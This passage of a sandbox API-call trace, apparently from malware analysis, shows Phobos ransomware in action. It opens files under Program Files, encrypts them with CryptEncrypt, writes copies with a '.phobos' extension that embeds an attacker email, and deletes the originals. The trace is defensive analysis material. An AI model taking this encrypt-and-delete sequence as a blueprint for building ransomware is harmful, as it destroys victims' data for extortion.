(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0171.229] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0171.230] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0171.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0171.230] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1590) returned 1 [0171.230] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0171.231] ReadFile (in: hFile=0x2d8, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x4298, lpOverlapped=0x0) returned 1 [0171.689] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x42a0, dwBufLen=0x42a0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x42a0) returned 1 [0171.689] WriteFile (in: hFile=0x2cc, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x42a0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x42a0, lpOverlapped=0x0) returned 1 [0171.691] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d19d0) returned 1 [0171.691] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0171.691] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0171.691] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0171.691] WriteFile (in: hFile=0x2cc, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0171.691] CryptDestroyKey (hKey=0x1d1590) returned 1 [0171.691] CloseHandle (hObject=0x2d8) returned 1 [0171.691] CloseHandle (hObject=0x2cc) returned 1 [0171.691] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb")) returned 1 [0171.693] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0171.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0171.694] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=22680) returned 1 [0171.694] CloseHandle (hObject=0x2cc) returned 1 [0171.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 0x20 [0171.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0171.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0171.694] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0171.694] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf930 | out: lpNewFilePointer=0x0) returned 1 [0171.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0171.695] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf944 | out: phKey=0x2bdf944*=0x1d1b90) returned 1 [0171.695] CryptSetKeyParam (hKey=0x1d1b90, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0171.695] ReadFile (in: hFile=0x2cc, lpBuffer=0x2faa020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf96c, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesRead=0x2bdf96c*=0x5898, lpOverlapped=0x0) returned 1 [0172.008] CryptEncrypt (in: hKey=0x1d1b90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x58a0, dwBufLen=0x58a0 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x58a0) returned 1 [0172.008] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0x58a0, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0x58a0, lpOverlapped=0x0) returned 1 [0172.009] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2bdf8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf948 | out: phKey=0x2bdf948*=0x1d1710) returned 1 [0172.009] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2bdf9f0, dwFlags=0x0) returned 1 [0172.010] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40, dwBufLen=0x40 | out: pbData=0x2faa020*, pdwDataLen=0x2bdf908*=0x40) returned 1 [0172.010] CryptDestroyKey (hKey=0x1d1710) returned 1 [0172.010] WriteFile (in: hFile=0x2d8, lpBuffer=0x2faa020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2bdf950, lpOverlapped=0x0 | out: lpBuffer=0x2faa020*, lpNumberOfBytesWritten=0x2bdf950*=0xf2, lpOverlapped=0x0) returned 1 [0172.010] CryptDestroyKey (hKey=0x1d1b90) returned 1 [0172.010] CloseHandle (hObject=0x2cc) returned 1 [0172.010] CloseHandle (hObject=0x2d8) returned 1 [0172.010] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb")) returned 1 [0172.013] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.013] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.013] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=2560) returned 1 [0172.013] CloseHandle (hObject=0x2d8) returned 1 [0172.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll")) returned 0x20 [0172.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.014] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.014] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=242688) returned 1 [0172.014] CloseHandle (hObject=0x2d8) returned 1 [0172.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll")) returned 0x20 [0172.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadco.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadco.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.026] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.026] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.027] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=2560) returned 1 [0172.027] CloseHandle (hObject=0x2d8) returned 1 [0172.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll")) returned 0x20 [0172.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadcor.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.028] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.028] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=279552) returned 1 [0172.028] CloseHandle (hObject=0x2d8) returned 1 [0172.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll")) returned 0x20 [0172.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msadds.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.029] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.029] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=2560) returned 1 [0172.029] CloseHandle (hObject=0x2d8) returned 1 [0172.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll")) returned 0x20 [0172.029] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msaddsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msaddsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.029] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.029] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.030] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=2560) returned 1 [0172.030] CloseHandle (hObject=0x2d8) returned 1 [0172.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll")) returned 0x20 [0172.030] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprsr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprsr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.030] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.030] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.030] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=356352) returned 1 [0172.030] CloseHandle (hObject=0x2d8) returned 1 [0172.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll")) returned 0x20 [0172.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaprst.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaprst.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.031] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.031] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=221696) returned 1 [0172.031] CloseHandle (hObject=0x2d8) returned 1 [0172.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll")) returned 0x20 [0172.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdarem.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdarem.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.032] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.032] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=2560) returned 1 [0172.032] CloseHandle (hObject=0x2d8) returned 1 [0172.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll")) returned 0x20 [0172.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdaremr.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdaremr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.032] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.033] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=31744) returned 1 [0172.033] CloseHandle (hObject=0x2d8) returned 1 [0172.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll")) returned 0x20 [0172.033] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\msdfmap.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msdfmap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.033] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.033] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=6144) returned 1 [0172.033] CloseHandle (hObject=0x2d8) returned 1 [0172.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui")) returned 0x20 [0172.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\msdasqlr.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\msdasqlr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.034] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.034] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=48128) returned 1 [0172.034] CloseHandle (hObject=0x2d8) returned 1 [0172.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui")) returned 0x20 [0172.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0172.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\oledb32r.dll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\oledb32r.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.035] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2bdf9f0 | out: pbBuffer=0x2bdf9f0) returned 1 [0172.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\sqloledb.rll.mui" (normalized: "c:\\program files\\common files\\system\\ole db\\en-us\\sqloledb.rll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0172.035] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2bdf990 | out: lpFileSize=0x2bdf990*=44032) returned 1 